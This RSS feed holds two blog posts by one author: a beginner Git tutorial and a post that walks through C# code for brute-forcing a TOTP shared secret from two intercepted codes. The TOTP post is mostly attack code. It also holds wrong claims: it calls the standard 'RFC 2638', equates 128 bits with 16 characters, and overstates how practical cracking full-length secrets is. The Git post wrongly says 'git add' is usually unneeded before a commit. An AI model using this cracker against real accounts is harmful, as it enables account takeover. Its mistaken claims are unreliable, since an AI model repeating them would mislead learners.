<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Random Nerd</title>
    <description>The latest articles on DEV Community by Random Nerd (@not-so-genius).</description>
    <link>https://dev.to/not-so-genius</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1923117%2F3fcb0146-e999-4750-8309-a5a5e484ae33.jpeg</url>
      <title>DEV Community: Random Nerd</title>
      <link>https://dev.to/not-so-genius</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/not-so-genius"/>
    <language>en</language>
    <item>
      <title>Git for Beginners</title>
      <dc:creator>Random Nerd</dc:creator>
      <pubDate>Thu, 15 Aug 2024 13:21:44 +0000</pubDate>
      <link>https://dev.to/not-so-genius/git-for-beginners-3h57</link>
      <guid>https://dev.to/not-so-genius/git-for-beginners-3h57</guid>
      <description>&lt;h2&gt;
  
  
  What is Git?
&lt;/h2&gt;

&lt;p&gt;Git is a distributed version control system, which allows for efficient collaboration and merge conflict resolution. Pipelines can be created to streamline the development and production process and supports non-linear workflows through branches and forks.&lt;/p&gt;

&lt;p&gt;Having a basic understanding of Git is a must for all developers, whether you are developing as a hobby, or you're sitting in an office reading this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why did you write this?
&lt;/h2&gt;

&lt;p&gt;When I started as a dev, I struggled understanding those over-complicated "beginners" tutorials. This article is written in &lt;strong&gt;plain-english&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What we'll be learning
&lt;/h2&gt;

&lt;p&gt;In this article, we'll be covering the basics of git CLI/BASH:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git init&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git remote add&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git add&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git commit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git push&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And two hands-on practical activities to strengthen your understanding of git.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: &lt;code&gt;git init&lt;/code&gt;
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;I would recommend creating an empty directory to play around with in this tutorial, but if you want, you can use an existing directory.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In this section, we'll be initializing a git repository locally in your selected directory. Open command prompt and cd &lt;strong&gt;into&lt;/strong&gt; your chosen directory, now run the command &lt;code&gt;git init&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That was easy, we now have a local git repository!&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Adding a Remote Repository
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;If you wish to work locally and never push to a devops/git provider like github, you can skip this step.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To add a remote repository, we can run &lt;code&gt;git remote add &amp;lt;&amp;lt;name&amp;gt;&amp;gt; &amp;lt;&amp;lt;url&amp;gt;&amp;gt;&lt;/code&gt;, where &lt;code&gt;name&lt;/code&gt; is what you want to nickname your connection to the remote repository (generally we just call it &lt;code&gt;origin&lt;/code&gt;) and &lt;code&gt;url&lt;/code&gt; is the url of your remote repository.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Adding files
&lt;/h2&gt;

&lt;p&gt;The next thing you need to learn is how to add files to git.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;git add .&lt;/code&gt;&lt;/strong&gt; This will change new files, deleted files and modified files. Previously in git 1.0, there used to be a difference between &lt;code&gt;git add .&lt;/code&gt; and &lt;code&gt;git add -A&lt;/code&gt; but since 2.0 they are the same.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;git add -u&lt;/code&gt;&lt;/strong&gt; This will only change modified or deleted files. It will not add new files.&lt;/p&gt;

&lt;p&gt;Generally, when you commit, you do not need to run &lt;code&gt;git add&lt;/code&gt;, however, it can be useful if you need separate commit messages for separate files.&lt;/p&gt;

&lt;p&gt;Back to the tutorial, lets add a file called &lt;code&gt;index.html&lt;/code&gt; and put inside something very minimal for now:&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;p&gt;Save the file and now run &lt;code&gt;git add .&lt;/code&gt;. You should see it adding your &lt;code&gt;index.html&lt;/code&gt; file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3.5: Branching
&lt;/h2&gt;

&lt;p&gt;You can switch between git branches using &lt;code&gt;git checkout &amp;lt;&amp;lt;branch name&amp;gt;&amp;gt;&lt;/code&gt;, create branches using &lt;code&gt;git branch &amp;lt;&amp;lt;branch name&amp;gt;&amp;gt;&lt;/code&gt;, and view all branches using &lt;code&gt;git branch&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For now, we don't need to do this.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Committing
&lt;/h2&gt;

&lt;p&gt;Every time you finish a feature, it is good practice to commit. When you commit to a repository, it still stays locally and hasn't been pushed to the remote repository.&lt;/p&gt;

&lt;p&gt;We've added our file, now lets make our initial commit using &lt;code&gt;git commit -m "&amp;lt;&amp;lt;message&amp;gt;&amp;gt;"&lt;/code&gt;, where the message is your commit message.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: Pushing
&lt;/h2&gt;

&lt;p&gt;We've finally come to the step where we push our changes to the remote repository.&lt;/p&gt;

&lt;p&gt;Run &lt;code&gt;git push &amp;lt;&amp;lt;the remote name from step 2&amp;gt;&amp;gt;&lt;/code&gt; to push your commits to the remote repository.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;git push&lt;/code&gt; accepts two optional parameters - remote name and branch name, for example, &lt;code&gt;git push origin main&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Go sip on a well-earned cup of coffee, you've completed the first half.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Practical 1
&lt;/h2&gt;

&lt;p&gt;Oh No! We forgot the comma in &lt;em&gt;hello world&lt;/em&gt;. Go ahead and change the file.&lt;/p&gt;

&lt;p&gt;Now we can compare the changes using &lt;code&gt;git diff&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Great, we're all clear to commit our changes and push to the remote repository!&lt;/p&gt;

&lt;h2&gt;
  
  
  Practical 2
&lt;/h2&gt;

&lt;p&gt;Hmm, let's add a Javascript timestamp clock to our project.&lt;/p&gt;

&lt;p&gt;Add a file called &lt;code&gt;index.js&lt;/code&gt; and copy the code:&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;p&gt;Since this is a new feature, let's create another branch. Run &lt;code&gt;git branch timestamp-clock&lt;/code&gt;, then &lt;code&gt;git checkout timestamp-clock&lt;/code&gt; to go to the branch.&lt;/p&gt;

&lt;p&gt;Now write your commit and push to the &lt;code&gt;timestamp-clock&lt;/code&gt; branch. In a real-world environment, we would normally continue developing the feature in the &lt;code&gt;timestamp-clock&lt;/code&gt; branch, but for simplicity's sake, let's imagine we've spent hours of work and tens of commits on this branch.&lt;/p&gt;

&lt;p&gt;Let's merge it back to the &lt;code&gt;main&lt;/code&gt; branch:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;First, we must checkout to the target branch using &lt;code&gt;git checkout main&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Next, we need to run &lt;code&gt;git merge timestamp-clock&lt;/code&gt; to merge it.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Wrapping Up
&lt;/h2&gt;

&lt;p&gt;Congratulations, you now know the basics of git. Go brag about it to your friends!&lt;/p&gt;

&lt;p&gt;Please do drop a comment and let me know how you felt about this article!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvunlmlcpjt06ib4bq0yp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvunlmlcpjt06ib4bq0yp.png" alt="Very funny git meme" width="410" height="410"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>git</category>
      <category>beginners</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Breaking a TOTP?</title>
      <dc:creator>Random Nerd</dc:creator>
      <pubDate>Tue, 13 Aug 2024 21:35:29 +0000</pubDate>
      <link>https://dev.to/not-so-genius/breaking-a-totp-2h9a</link>
      <guid>https://dev.to/not-so-genius/breaking-a-totp-2h9a</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;This post is written to raise awareness of the possible vulnerabilities of RFC 2638. Any code provided here is not intended to be used for malicious purposes and is merely a proof-of-concept and/or example to aid the understanding of the article.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  RFC 2638: What is it?
&lt;/h2&gt;

&lt;p&gt;In their words,&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This document describes an extension of the One-Time Password (OTP)&lt;br&gt;
   algorithm, namely the HMAC-based One-Time Password (HOTP) algorithm,&lt;br&gt;
   as defined in RFC 4226, to support the time-based moving factor.  The&lt;br&gt;
   HOTP algorithm specifies an event-based OTP algorithm, where the&lt;br&gt;
   moving factor is an event counter.  The present work bases the moving&lt;br&gt;
   factor on a time value.  A time-based variant of the OTP algorithm&lt;br&gt;
   provides short-lived OTP values, which are desirable for enhanced&lt;br&gt;
   security.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In simpler terms, offline one-time passwords are generated using a secret and a counter, as seen in RFC 4226:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;HOTP(K,C) = Truncate(HMAC-SHA-1(K,C))&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Where &lt;code&gt;K&lt;/code&gt; is the &lt;code&gt;shared secret between client and server&lt;/code&gt;, and &lt;code&gt;C&lt;/code&gt; is a &lt;code&gt;8-byte counter value, the moving factor&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now how do we generate a &lt;strong&gt;time-based&lt;/strong&gt; one-time password (TOTP) using RFC 4226?&lt;/p&gt;

&lt;p&gt;How do we know the counter value?&lt;/p&gt;

&lt;p&gt;That's where RFC 2638 comes in. To determine the counter value, we simply divide the Unix Timestamp by the time step as seen in RFC 6238:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Basically, we define TOTP as TOTP = HOTP(K, T), where T is an integer&lt;br&gt;
   and represents the number of time steps between the initial counter&lt;br&gt;
   time T0 and the current Unix time.&lt;/p&gt;

&lt;p&gt;More specifically, T = (Current Unix time - T0) / X, where the&lt;br&gt;
   default floor function is used in the computation. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Then we plug that into RFC 4226, and viola! We've just calculated our very own TOTP code!&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerability
&lt;/h2&gt;

&lt;p&gt;While you may not realize immediately, with just two TOTPs and the timestamp they were captured in, we can crack the secret.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wait, isn't it SHA encoded?
&lt;/h3&gt;

&lt;p&gt;Exactly, and that's why we're going down a different route. If we can't reverse it, then maybe we can brute force it?&lt;/p&gt;

&lt;h3&gt;
  
  
  Calculating the secret ourselves
&lt;/h3&gt;

&lt;p&gt;Brute forcing billions of TOTPs would be as foolish as trying every possible key to unlock a door.&lt;/p&gt;

&lt;p&gt;So what if we do it the opposite way? Instead of trying every TOTP live, perhaps we could first calculate all the possible TOTPs at a given timestamp and capture the ones that match the "stolen" TOTP.&lt;/p&gt;

&lt;h3&gt;
  
  
  But you'll still have thousands of possibilities
&lt;/h3&gt;

&lt;p&gt;That's where the second TOTP comes in, we can use the second TOTP to narrow down the possible secrets to a single digit, or even to a single secret. There's two ways to approach this:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. The Barbaric Way&lt;/strong&gt;&lt;br&gt;
Re-run all the billions of possible combinations again and see which ones match, effectively doubling the compute time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. The Smarter Way&lt;/strong&gt;&lt;br&gt;
Calculate TOTPs for each of the possible secrets at the timestamp when the second TOTP was "stolen", adding nothing more than 10 seconds and a few thousand calculations.&lt;/p&gt;

&lt;p&gt;I'm no genius but the latter seems like a better choice.&lt;/p&gt;
&lt;h3&gt;
  
  
  Always follow the RFC requirements
&lt;/h3&gt;

&lt;p&gt;As written in Section 4 of RFC 4226,&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;R6 - The algorithm MUST use a strong shared secret.  The length of&lt;br&gt;
   the shared secret MUST be at least 128 bits.  This document&lt;br&gt;
   RECOMMENDs a shared secret length of 160 bits.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In other words, the secret must be no less than 16 characters.&lt;br&gt;
While this helps mitigate the vulnerability, one day this will not be enough.&lt;/p&gt;
&lt;h3&gt;
  
  
  The logistics behind this
&lt;/h3&gt;

&lt;p&gt;While performing billions of calculations can be both time and resource-intensive, Moore's law has shown us that with the ever-increasing computational power/performance of modern computers and supercomputers, every year this vulnerability will only grow larger and larger, and will only cause more harm.&lt;/p&gt;
&lt;h2&gt;
  
  
  Try It Yourself: The Code
&lt;/h2&gt;

&lt;p&gt;First, we need to define the characters that could be used:&lt;br&gt;
&lt;code&gt;string[] chars = {"2", "3", "4", "5", "6", "7", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" };&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And also initialize any other variables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;long count = 0;
int match = 0;
long oldtimestamp = 0;
List&amp;lt;Codes&amp;gt; output = new List&amp;lt;Codes&amp;gt;();
List&amp;lt;Codes&amp;gt; finalisedOutput = new List&amp;lt;Codes&amp;gt;();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we must gather our input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Console.WriteLine("First OTP:");
string FirstOtp = Console.ReadLine();
Console.WriteLine("First OTP Unix Timestamp (seconds):");
long FirstOtpTime = Convert.ToInt64(Console.ReadLine());
Console.WriteLine("Second OTP:");
string SecondOtp = Console.ReadLine();
Console.WriteLine("Second OTP Unix Timestamp (seconds):");
long SecondOtpTime = Convert.ToInt64(Console.ReadLine());
Console.WriteLine("OTP Secret Length (generally 16 chars):");
int length = Convert.ToInt32(Console.ReadLine());
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now for the function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;void nextChar(string current)
{

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's review our logic here.&lt;br&gt;
If the current possibility (current) is the length of the actual secret, continue. If not, repeat for each character a recursive action to add that to current and run the function again.&lt;br&gt;
Let's add that into our function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if (current.Length == length)
{

}
else
{
    for (int i = 0; i &amp;lt; chars.Length; i++)
    {
        nextChar(current + chars[i]);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ok, so what do we do when it is the correct length?&lt;br&gt;
We should compute the TOTP secret at the time when the first TOTP was "stolen" and compare it to then first "stolen" TOTP. If it matches, add it to our list of possible matches.&lt;/p&gt;

&lt;p&gt;We should also write a status update to the console every 1,000,000 combinations.&lt;/p&gt;

&lt;p&gt;Let's put that into our if clause:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if (count % 1000000 == 0)
{
    Console.Clear();
    Console.WriteLine((count / Math.Pow(32, length)) * 100 + "% complete | " + Convert.ToString((((Math.Pow(32, length)) - count) / 1000000) * (DateTimeOffset.UtcNow.ToUnixTimeSeconds() - oldtimestamp)) + " seconds remaining | " + count + "/" + Math.Pow(32, length).ToString() + " possibilities calculated | " + current + " is the current combination");
    oldtimestamp = DateTimeOffset.UtcNow.ToUnixTimeSeconds();
}

var bytes = Base32Encoding.ToBytes(current);
var totp = new Totp(bytes, step: 30);

if (totp.ComputeTotp(DateTimeOffset.FromUnixTimeSeconds(FirstOtpTime).DateTime) == FirstOtp)
{
     output.Add(new Codes { secret = current });
}
count++;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Great! We've finished the function. Now all we need to do is narrow down and display the results.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Console.Clear();
Console.WriteLine("---------------------------------------------------");
Console.WriteLine("Count: " + count);
Console.WriteLine("---------------------------------------------------");
Console.WriteLine("Secret Found:");
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, we need to loop through each possible match and check it against the second stolen TOTP, if it matches, we add it to our list of finalized matches.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for (int i = 0;i &amp;lt; output.Count;i++)
{
    var bytes = Base32Encoding.ToBytes(output[i].secret);

    var totp = new Totp(bytes, step: 30);

    if (totp.ComputeTotp(DateTimeOffset.FromUnixTimeSeconds(SecondOtpTime).DateTime) == SecondOtp)
    {
        finalisedOutput.Add(new Codes { secret = output[i].secret });
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All that's left now is to print the finalized matches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;finalisedOutput.ForEach(x =&amp;gt; Console.WriteLine(x.secret));
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we must not forget to &lt;code&gt;Console.ReadLine();&lt;/code&gt; or our console will close.&lt;/p&gt;

&lt;p&gt;Add &lt;code&gt;nextChar("")&lt;/code&gt; anywhere in the code to begin the search!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/DogIcing/OTP_Crack" rel="noopener noreferrer"&gt;Check out the repository&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As of now, on my consumer-grade desktop, I can crack a 5 character secret in less than 3 minutes.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;How'd I Do?&lt;/strong&gt;&lt;br&gt;
 Feel free to leave a comment!&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>security</category>
      <category>csharp</category>
    </item>
  </channel>
</rss>
